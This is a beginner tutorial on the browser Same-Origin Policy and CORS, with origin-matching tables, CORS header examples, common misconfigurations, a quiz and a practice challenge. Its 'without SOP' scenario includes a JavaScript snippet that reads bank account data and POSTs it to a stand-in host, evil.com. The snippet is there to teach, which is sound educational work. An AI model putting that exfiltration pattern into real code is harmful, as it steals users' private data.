Same-Origin Policy & CORS

beginner20 minWriteup

Understanding browser security boundaries and cross-origin resource sharing

Learning Objectives

  • Understand the Same-Origin Policy
  • Learn how CORS works and its security implications
  • Identify CORS misconfigurations
  • Understand when SOP can be bypassed

The Wild West Problem

Imagine the internet without security boundaries. You're on your bank's website in one tab and some random blog in another. The blog's JavaScript could:

  • Read your bank account balance
  • Transfer money to the attacker's account
  • Download your transaction history
  • Change your password

Scary, right? In the early days of the web, this was actually possible! Then Netscape engineers invented the Same-Origin Policy (SOP) in 1995, and it became the foundation of web security.

Think of SOP as the "mind your own business" rule of the internet. Websites can only interact with their own stuff, not poke around in other websites' data.

Why This Matters for Hackers

Almost every web attack (XSS, CSRF, CORS misconfigurations) involves somehow bypassing or abusing the Same-Origin Policy. Understand SOP = understand 80% of web security.

What Exactly is an "Origin"?

An origin is defined by three things. ALL three must match for two URLs to be considered "same origin":

🔒
Scheme
http / https
+
🌐
Host
example.com
+
🚪
Port
80 / 443 / 8080
1https:606070;">//example.com:443/page
2└─┬──┘ └────┬─────┘ └┬┘
3 │ │ │
4Scheme Host Port
5 
6Origin = https:606070;">//example.com:443

Same Origin Examples

Let's see if these URLs have the same origin as https://example.com/page1:

URLSame Origin?Why?
https://example.com/page2✓ YesPath doesn't matter
https://example.com:443/page✓ Yes443 is default for HTTPS
http://example.com/page✗ NoDifferent scheme (http vs https)
https://api.example.com/page✗ NoDifferent host (subdomain)
https://example.com:8080/page✗ NoDifferent port
https://example.org/page✗ NoDifferent domain entirely
Subdomains are DIFFERENT origins! api.example.com is NOT the same origin as example.com. This catches many developers off guard.

What Does SOP Actually Block?

The Same-Origin Policy restricts how a document or script from one origin can interact with resources from another origin. But it's not a simple "block everything" rule. SOP is nuanced:

❌ Reading from Cross-Origin (Blocked)

  • Reading content from an iframe with different origin
  • Reading responses from fetch()/XMLHttpRequest to different origins
  • Accessing another window's DOM
  • Reading cookies of another origin
javascript
1606070;">// This will FAIL due to SOP
2606070;">// Your site: https://yoursite.com
3606070;">// Trying to read: https://bank.com
4 
5fetch(606070;">#a5d6ff;">'https://bank.com/api/balance')
6 .then(res => res.json()) 606070;">// ❌ BLOCKED - can't read response
7 .then(data => console.log(data));
8 
9606070;">// Even though the request is SENT, you can't READ the response!

✓ Embedding Cross-Origin (Usually Allowed)

  • <img src="..."> - Images from anywhere
  • <script src="..."> - Scripts from anywhere
  • <link href="..."> - Stylesheets from anywhere
  • <iframe src="..."> - Embed (but can't read content)
  • <video>, <audio> - Media from anywhere
  • <form action="..."> - Submit to anywhere

✓ Writing Cross-Origin (Usually Allowed)

  • Sending GET/POST requests (CSRF vulnerability here!)
  • Redirects
  • Form submissions

The Key Insight

SOP primarily prevents READING cross-origin data, not SENDING requests. You can send a request to another origin, but you can't read the response. This distinction is crucial for understanding CSRF attacks!

Why This Matters: Real Attack Scenarios

Scenario 1: Without SOP

You visit evil-blog.com which contains:

javascript
1606070;">// evil-blog.com's JavaScript
2fetch(606070;">#a5d6ff;">'https://yourbank.com/api/accounts')
3 .then(res => res.json())
4 .then(accounts => {
5 606070;">// Send your bank data to attacker
6 fetch(606070;">#a5d6ff;">'https://evil.com/steal', {
7 method: 606070;">#a5d6ff;">'POST',
8 body: JSON.stringify(accounts)
9 });
10 });

Without SOP, your bank account details would be stolen just by visiting a malicious page!

Scenario 2: With SOP

The same code fails because:

  1. Browser sends request to yourbank.com
  2. Bank responds with your data
  3. Browser sees evil-blog.com trying to read response from yourbank.com
  4. Browser: "Nope, different origins!" and blocks JavaScript from reading response
But wait! The request was still SENT. Your bank saw a request. If that request was "transfer $1000 to attacker", and you were logged in... That's CSRF, and it's why SOP alone isn't enough!

CORS: When You WANT Cross-Origin Access

Sometimes cross-origin access is legitimate. Your frontend at app.example.comneeds to call your API at api.example.com. They're different origins!

CORS (Cross-Origin Resource Sharing) is a mechanism for servers to say "I'll allow this specific origin to read my responses."

How CORS Works

Simple CORS Request

Browser sends request with 'Origin: https://app.example.com' headerServer checks if this origin is allowedIf allowed, server responds with 'Access-Control-Allow-Origin: https://app.example.com'Browser sees matching header and allows JavaScript to read response
Server Response with CORS
1HTTP/1.1 200 OK
2Access-Control-Allow-Origin: https:606070;">//app.example.com
3Access-Control-Allow-Credentials: true
4Content-Type: application/json
5 
6{606070;">#a5d6ff;">"user": "alice", "balance": 5000}

Common CORS Headers

1Access-Control-Allow-Origin: https:606070;">//trusted.com → Who can read responses
2Access-Control-Allow-Origin: * → Everyone (⚠️ risky!)
3Access-Control-Allow-Methods: GET, POST, PUT → Allowed HTTP methods
4Access-Control-Allow-Headers: Authorization → Allowed request headers
5Access-Control-Allow-Credentials: true → Allow cookies
6Access-Control-Max-Age: 86400 → Cache preflight for 24h
Danger: Misconfigured CORS
Setting Access-Control-Allow-Origin: * combined withAccess-Control-Allow-Credentials: true is extremely dangerous and browsers actually block this combination!

CORS Misconfigurations Hackers Love

1606070;">// Reflecting arbitrary origin (VERY BAD)
2Request: Origin: https:606070;">//evil.com
3Response: Access-Control-Allow-Origin: https:606070;">//evil.com
4 
5606070;">// Accepting null origin
6Request: Origin: null
7Response: Access-Control-Allow-Origin: null
8 
9606070;">// Wildcard with regex fails
10Request: Origin: https:606070;">//evilexample.com
11Response: Access-Control-Allow-Origin: https:606070;">//evilexample.com
12(Developer meant to match example.com but their regex was broken)

Ways to "Bypass" SOP

SOP isn't a wall - it's more like a fence with gates. Here are legitimate (and illegitimate) ways to get cross-origin access:

Legitimate Methods

  • CORS: Server explicitly allows your origin
  • JSONP: Old trick using script tags (deprecated, dangerous)
  • postMessage: Controlled communication between windows
  • document.domain: Relax SOP for subdomains (deprecated)
  • Proxy: Your server fetches data, then serves it to your frontend

Attack Methods

  • XSS: Inject code INTO the target origin, then it's same-origin!
  • CORS misconfiguration: Abuse servers that reflect any origin
  • DNS rebinding: Make a domain resolve to different IPs
  • Dangling markup: Exfiltrate data through allowed elements
The XSS bypass is key: SOP protects origin A from origin B. But if you inject code INTO origin A via XSS, your code runs AS origin A. It's same-origin now! That's why XSS is so powerful.

Test Your Knowledge

Quick Quiz
Question 1 of 5

Which three components define an 'origin' in the Same-Origin Policy?

Hands-On Challenge

Origin Matching

Challenge
🌱 easy

You're testing an application at https://shop.example.com:443/products. Determine which of these URLs share the same origin. List ALL that match (e.g., 'A, C, E').

Original URL: https://shop.example.com:443/products

  • A: https://shop.example.com/cart
  • B: http://shop.example.com/products
  • C: https://example.com/shop
  • D: https://shop.example.com:443/api
  • E: https://shop.example.com:8080/products

Need a hint? (4 available)

Key Takeaways

  • Same-Origin Policy prevents websites from reading each other's data
  • Origin = Scheme + Host + Port (path doesn't matter)
  • Subdomains are DIFFERENT origins - api.site.com ≠ site.com
  • SOP blocks READING, not SENDING - requests still go through
  • CORS lets servers explicitly allow specific origins to read responses
  • XSS bypasses SOP because injected code runs IN the target origin
  • CORS misconfigurations are a common vulnerability in real-world apps

Related Topics